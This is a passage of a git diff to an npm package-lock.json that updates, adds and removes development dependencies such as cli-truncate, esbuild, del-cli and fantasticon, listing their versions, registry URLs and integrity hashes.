"sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", "dev": true, "requires": { "anymatch": "~3.1.2", @@ -13558,64 +14701,60 @@ "dev": true }, "cli-truncate": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-4.0.0.tgz", - "integrity": "sha512-nPdaFdQ0h/GEigbPClz11D0v/ZJEwxmeVZGeMo3Z5StPtUTkA9o1lD6QwoirYiSDzbcwn2XcjwmCp68W1IS4TA==", + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-5.1.1.tgz", + "integrity": "sha512-SroPvNHxUnk+vIW/dOSfNqdy1sPEFkrTk6TUtqLCnBlo3N7TNYYkzzN7uSD6+jVjrdO4+p8nH7JzH6cIvUem6A==", "dev": true, "requires": { - "slice-ansi": "^5.0.0", - "string-width": "^7.0.0" + "slice-ansi": "^7.1.0", + "string-width": "^8.0.0" }, "dependencies": { "ansi-regex": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", - "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", "dev": true }, "ansi-styles": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", - "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", - "dev": true - }, - "emoji-regex": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.4.0.tgz", - "integrity": "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==", + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", "dev": true }, "is-fullwidth-code-point": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-4.0.0.tgz", - "integrity": "sha512-O4L094N2/dZ7xqVdrXhh9r1KODPJpFms8B5sGdJLPy664AgvXsreZUyCQQNItZRDlYug4xStLjNp/sz3HvBowQ==", - "dev": true + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", + "dev": true, + "requires": { + "get-east-asian-width": "^1.3.1" + } }, "slice-ansi": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-5.0.0.tgz", - "integrity": "sha512-FC+lgizVPfie0kkhqUScwRu1O/lF6NOgJmlCgK+/LYxDCTk8sGelYaHDhFcDN+Sn3Cv+3VSa4Byeo+IMCzpMgQ==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", + "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", "dev": true, "requires": { - "ansi-styles": "^6.0.0", - "is-fullwidth-code-point": "^4.0.0" + "ansi-styles": "^6.2.1", + "is-fullwidth-code-point": "^5.0.0" } }, "string-width": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", - "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.1.0.tgz", + "integrity": "sha512-Kxl3KJGb/gxkaUMOjRsQ8IrXiGW75O4E3RPjFIINOVH8AMl2SQ/yWdTzWwF3FevIX9LcMAjJW+GRwAlAbTSXdg==", "dev": true, "requires": { - "emoji-regex": "^10.3.0", - "get-east-asian-width": "^1.0.0", + "get-east-asian-width": "^1.3.0", "strip-ansi": "^7.1.0" } }, "strip-ansi": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", - "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", "dev": true, "requires": { "ansi-regex": "^6.0.1" @@ -13632,6 +14771,19 @@ "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" + }, + "dependencies": { + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + } + } } }, "cockatiel": { @@ -13640,6 +14792,33 @@ "integrity": "sha512-5yARKww0dWyWg2/3xZeXgoxjHLwpVqFptj9Zy7qioJ6+/L0ARM184sgMUrQDjxw7ePJWlGhV998mKhzrxT0/Kg==", "dev": true }, + "color": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/color/-/color-5.0.2.tgz", + "integrity": "sha512-e2hz5BzbUPcYlIRHo8ieAhYgoajrJr+hWoceg6E345TPsATMUKqDgzt8fSXZJJbxfpiPzkWyphz8yn8At7q3fA==", + "dev": true, + "requires": { + "color-convert": "^3.0.1", + "color-string": "^2.0.0" + }, + "dependencies": { + "color-convert": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-3.1.2.tgz", + "integrity": "sha512-UNqkvCDXstVck3kdowtOTWROIJQwafjOfXSmddoDrXo4cewMKmusCeF22Q24zvjR8nwWib/3S/dfyzPItPEiJg==", + "dev": true, + "requires": { + "color-name": "^2.0.0" + } + }, + "color-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.0.2.tgz", + "integrity": "sha512-9vEt7gE16EW7Eu7pvZnR0abW9z6ufzhXxGXZEVU9IqPdlsUiMwJeJfRtq0zePUmnbHGT9zajca7mX8zgoayo4A==", + "dev": true + } + } + }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", @@ -13653,6 +14832,23 @@ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, + "color-string": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-2.1.2.tgz", + "integrity": "sha512-RxmjYxbWemV9gKu4zPgiZagUxbH3RQpEIO77XoSSX0ivgABDZ+h8Zuash/EMFLTI4N9QgFPOJ6JQpPZKFxa+dA==", + "dev": true, + "requires": { + "color-name": "^2.0.0" + }, + "dependencies": { + "color-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.0.2.tgz", + "integrity": "sha512-9vEt7gE16EW7Eu7pvZnR0abW9z6ufzhXxGXZEVU9IqPdlsUiMwJeJfRtq0zePUmnbHGT9zajca7mX8zgoayo4A==", + "dev": true + } + } + }, "color-support": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", @@ -13740,6 +14936,17 @@ "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==", "dev": true }, + "constant-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/constant-case/-/constant-case-3.0.4.tgz", + "integrity": "sha512-I2hSBi7Vvs7BEuJDr5dDHfzb/Ruj3FyvFyh7KLilAjNQw3Be+xgqUBA2W6scVEcL0hL1dwPRtIqEPVUCKkSsyQ==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case": "^2.0.2" + } + }, "convert-source-map": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", @@ -14068,9 +15275,9 @@ "dev": true }, "del": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/del/-/del-8.0.0.tgz", - "integrity": "sha512-R6ep6JJ+eOBZsBr9esiNN1gxFbZE4Q2cULkUSFumGYecAiS6qodDvcPx/sFuWHMNul7DWmrtoEOpYSm7o6tbSA==", + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/del/-/del-8.0.1.tgz", + "integrity": "sha512-gPqh0mKTPvaUZGAuHbrBUYKZWBNAeHG7TU3QH5EhVwPMyKvmfJaNXhcD2jTcXsJRRcffuho4vaYweu80dRrMGA==", "dev": true, "requires": { "globby": "^14.0.2", @@ -14078,6 +15285,7 @@ "is-path-cwd": "^3.0.0", "is-path-inside": "^4.0.0", "p-map": "^7.0.2", + "presentable-error": "^0.0.1", "slash": "^5.1.0" }, "dependencies": { @@ -14090,13 +15298,14 @@ } }, "del-cli": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/del-cli/-/del-cli-6.0.0.tgz", - "integrity": "sha512-9nitGV2W6KLFyya4qYt4+9AKQFL+c0Ehj5K7V7IwlxTc6RMCfQUGY9E9pLG6e8TQjtwXpuiWIGGZb3mfVxyZkw==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/del-cli/-/del-cli-7.0.0.tgz", + "integrity": "sha512-fRl4pWJYu9WFQH8jXdQUYvcD0IMtij9WEc7qmB7xOyJEweNJNuE7iKmqNeoOT1DbBUjtRjxlw8Y63qKBI/NQ1g==", "dev": true, "requires": { - "del": "^8.0.0", - "meow": "^13.2.0" + "del": "^8.0.1", + "meow": "^14.0.0", + "presentable-error": "^0.0.1" } }, "delayed-stream": { @@ -14125,9 +15334,9 @@ "optional": true }, "diff": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz", - "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==", + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.2.tgz", + "integrity": "sha512-sSuxWU5j5SR9QQji/o2qMvqRNYRDOcBTgsJ/DeCf4iSN4gW+gNMXM7wFIP+fdXZxoNiAnHUTGjCr+TSWXdRDKg==", "dev": true }, "doctrine": { @@ -14176,6 +15385,16 @@ "domhandler": "^4.2.0" } }, + "dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "dunder-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", @@ -14202,12 +15421,12 @@ } }, "editions": { - "version": "6.21.0", - "resolved": "https://registry.npmjs.org/editions/-/editions-6.21.0.tgz", - "integrity": "sha512-ofkXJtn7z0urokN62DI3SBo/5xAtF0rR7tn+S/bSYV79Ka8pTajIIl+fFQ1q88DQEImymmo97M4azY3WX/nUdg==", + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/editions/-/editions-6.22.0.tgz", + "integrity": "sha512-UgGlf8IW75je7HZjNDpJdCv4cGJWIi6yumFdZ0R7A8/CIhQiWUjyGLCxdHpd8bmyD1gnkfUNK0oeOXqUS2cpfQ==", "dev": true, "requires": { - "version-range": "^4.13.0" + "version-range": "^4.15.0" } }, "emoji-regex": { @@ -14215,6 +15434,12 @@ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" }, + "enabled": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/enabled/-/enabled-2.0.0.tgz", + "integrity": "sha512-AKrN98kuwOzMIdAizXGI86UFBoo26CL21UM763y1h/GMSJ4/OHU9k2YlsmBpyScFo/wbLzWQJBMCW4+IO3/+OQ==", + "dev": true + }, "encoding": { "version": "0.1.13", "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", @@ -14235,9 +15460,9 @@ } }, "enhanced-resolve": { - "version": "5.17.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.0.tgz", - "integrity": "sha512-dwDPwZL0dmye8Txp2gzFmA6sxALaSvdRDjPH0viLcKrtlOL3tw62nWWweVD1SdILDTJrbrL6tdWVN58Wo6U3eA==", + "version": "5.18.3", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.3.tgz", + "integrity": "sha512-d4lC8xfavMeBjzGr2vECC3fsGXziXZQyJxD868h2M/mBI3PwAuODxAkLkq5HYuvrPYcUtiLzsTo8U3PgX3Ocww==", "dev": true, "requires": { "graceful-fs": "^4.2.4", @@ -14268,15 +15493,6 @@ "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", "dev": true }, - "error-ex": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", - "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", - "dev": true, - "requires": { - "is-arrayish": "^0.2.1" - } - }, "es-define-property": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", @@ -14356,37 +15572,37 @@ } }, "esbuild": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.8.tgz", - "integrity": "sha512-vVC0USHGtMi8+R4Kz8rt6JhEWLxsv9Rnu/lGYbPR8u47B+DCBksq9JarW0zOO7bs37hyOK1l2/oqtbciutL5+Q==", - "dev": true, - "requires": { - "@esbuild/aix-ppc64": "0.25.8", - "@esbuild/android-arm": "0.25.8", - "@esbuild/android-arm64": "0.25.8", - "@esbuild/android-x64": "0.25.8", - "@esbuild/darwin-arm64": "0.25.8", - "@esbuild/darwin-x64": "0.25.8", - "@esbuild/freebsd-arm64": "0.25.8", - "@esbuild/freebsd-x64": "0.25.8", - "@esbuild/linux-arm": "0.25.8", - "@esbuild/linux-arm64": "0.25.8", - "@esbuild/linux-ia32": "0.25.8", - "@esbuild/linux-loong64": "0.25.8", - "@esbuild/linux-mips64el": "0.25.8", - "@esbuild/linux-ppc64": "0.25.8", - "@esbuild/linux-riscv64": "0.25.8", - "@esbuild/linux-s390x": "0.25.8", - "@esbuild/linux-x64": "0.25.8", - "@esbuild/netbsd-arm64": "0.25.8", - "@esbuild/netbsd-x64": "0.25.8", - "@esbuild/openbsd-arm64": "0.25.8", - "@esbuild/openbsd-x64": "0.25.8", - "@esbuild/openharmony-arm64": "0.25.8", - "@esbuild/sunos-x64": "0.25.8", - "@esbuild/win32-arm64": "0.25.8", - "@esbuild/win32-ia32": "0.25.8", - "@esbuild/win32-x64": "0.25.8" + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "requires": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" } }, "escalade": { @@ -14454,6 +15670,17 @@ "dev": true, "requires": {} }, + "eslint-plugin-mocha": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-mocha/-/eslint-plugin-mocha-10.5.0.tgz", + "integrity": "sha512-F2ALmQVPT1GoP27O1JTZGrV9Pqg8k79OeIuvw63UxMtQKREZtmkK1NFgkZQ2TW7L2JSSFKHFPTtHu5z8R9QNRw==", + "dev": true, + "requires": { + "eslint-utils": "^3.0.0", + "globals": "^13.24.0", + "rambda": "^7.4.0" + } + }, "eslint-scope": { "version": "7.2.2", "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", @@ -14464,6 +15691,23 @@ "estraverse": "^5.2.0" } }, + "eslint-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", + "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", + "dev": true, + "requires": { + "eslint-visitor-keys": "^2.0.0" + }, + "dependencies": { + "eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "dev": true + } + } + }, "eslint-visitor-keys": { "version": "3.4.3", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", @@ -14578,54 +15822,42 @@ } }, "fantasticon": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/fantasticon/-/fantasticon-3.0.0.tgz", - "integrity": "sha512-PylulixZA8I0SeiUKtuyOhwrz/ojZTSA1KXddipvEyQXCVrpPMTnSXzaE9nXXK7nCjJWFkqoBAQ1aBdaxMltrg==", + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/fantasticon/-/fantasticon-1.2.3.tgz", + "integrity": "sha512-VoPXI8+wbLq4qooK2LAFRcqKtOCR20+InF/Io/9I1kLp3IT+LwqJgeFijFvp9a3HRZptfCAxNvazoVHn4kihzQ==", "dev": true, "requires": { - "case": "^1.6.3", - "cli-color": "^2.0.4", - "commander": "^12.0.0", - "glob": "^10.3.12", - "handlebars": "^4.7.8", - "slugify": "^1.6.6", + "change-case": "^4.1.2", + "cli-color": "^2.0.0", + "commander": "^7.2.0", + "glob": "^7.2.0", + "handlebars": "^4.7.7", + "slugify": "^1.6.0", "svg2ttf": "^6.0.3", - "svgicons2svgfont": "^12.0.0", - "ttf2eot": "^3.1.0", + "svgicons2svgfont": "^10.0.3", + "ttf2eot": "^2.0.0", "ttf2woff": "^3.0.0", - "ttf2woff2": "^5.0.0" + "ttf2woff2": "^4.0.4" }, "dependencies": { - "brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", - "dev": true, - "requires": { - "balanced-match": "^1.0.0" - } + "commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true }, "glob": { - "version": "10.4.5", - "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", - "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", - "dev": true, - "requires": { - "foreground-child": "^3.1.0", - "jackspeak": "^3.1.2", - "minimatch": "^9.0.4", - "minipass": "^7.1.2", - "package-json-from-dist": "^1.0.0", - "path-scurry": "^1.11.1" - } - }, - "minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "dev": true, "requires": { - "brace-expansion": "^2.0.1" + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" } } } @@ -14676,9 +15908,9 @@ "dev": true }, "fast-uri": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.0.6.tgz", - "integrity": "sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", + "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", "dev": true }, "fastq": { @@ -14698,6 +15930,12 @@ "pend": "~1.2.0" } }, + "fecha": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/fecha/-/fecha-4.2.3.tgz", + "integrity": "sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw==", + "dev": true + }, "file-entry-cache": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", @@ -14759,6 +15997,12 @@ "integrity": "sha512-8/sOawo8tJ4QOBX8YlQBMxL8+RLZfxMQOif9o0KUKTNTjMYElWPE0r/m5VNFxTRd0NSw8qSy8dajrwX4RYI1Hw==", "dev": true }, + "fn.name": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fn.name/-/fn.name-1.1.0.tgz", + "integrity": "sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==", + "dev": true + }, "foreground-child": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", @@ -14788,9 +16032,9 @@ "dev": true }, "fs-extra": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", - "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "version": "11.3.2", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.2.tgz", + "integrity": "sha512-Xr9F6z6up6Ws+NjzMCZc6WXg2YFRlrLP9NQDO3VQrWrfiojdhS56TzueT88ze0uBdCTwEIhQ3ptnmKeWGFAe0A==", "dev": true, "requires": { "graceful-fs": "^4.2.0", @@ -14861,6 +16105,12 @@ } } }, + "geometry-interfaces": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/geometry-interfaces/-/geometry-interfaces-1.1.4.tgz", + "integrity": "sha512-qD6OdkT6NcES9l4Xx3auTpwraQruU7dARbQPVO71MKvkGYw5/z/oIiGymuFXrRaEQa5Y67EIojUpaLeGEa5hGA==", + "dev": true + }, "get-caller-file": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", @@ -14868,9 +16118,9 @@ "dev": true }, "get-east-asian-width": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.3.0.tgz", - "integrity": "sha512-vpeMIQKxczTD/0s2CdEWHcb0eeJe6TFjxb+J5xgX7hScxqrGuyjmv4c1D4A/gelKfyox0gJJwIHF+fLjeaM8kQ==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.3.1.tgz", + "integrity": "sha512-R1QfovbPsKmosqTnPoRFiJ7CF9MLRgb53ChvMZm+r4p76/+8yKDy17qLL2PKInORy2RkZZekuK0efYgmzTkXyQ==", "dev": true }, "get-func-name": { @@ -15104,6 +16354,16 @@ "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", "dev": true }, + "header-case": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/header-case/-/header-case-2.0.4.tgz", + "integrity": "sha512-H/vuk5TEEVZwrR0lp2zed9OCo1uAILMlx0JEMgC26rzyJJ3N1v6XkwHHXJQdR2doSjcGPM6OKPYoJgf0plJ11Q==", + "dev": true, + "requires": { + "capital-case": "^1.0.4", + "tslib": "^2.0.3" + } + }, "hosted-git-info": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", @@ -15132,9 +16392,9 @@ } }, "http-cache-semantics": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", - "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", + "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", "dev": true }, "http-proxy-agent": { @@ -15221,6 +16481,12 @@ "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", "dev": true }, + "index-to-position": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/index-to-position/-/index-to-position-1.2.0.tgz", + "integrity": "sha512-Yg7+ztRkqslMAS2iFaU+Oa4KTSidr63OsFGlOrJoW981kIYO3CGCS3wA95P1mUi/IVSJkn0D479KTJpVpvFNuw==", + "dev": true + }, "infer-owner": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", @@ -15250,19 +16516,9 @@ "optional": true }, "ip-address": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz", - "integrity": 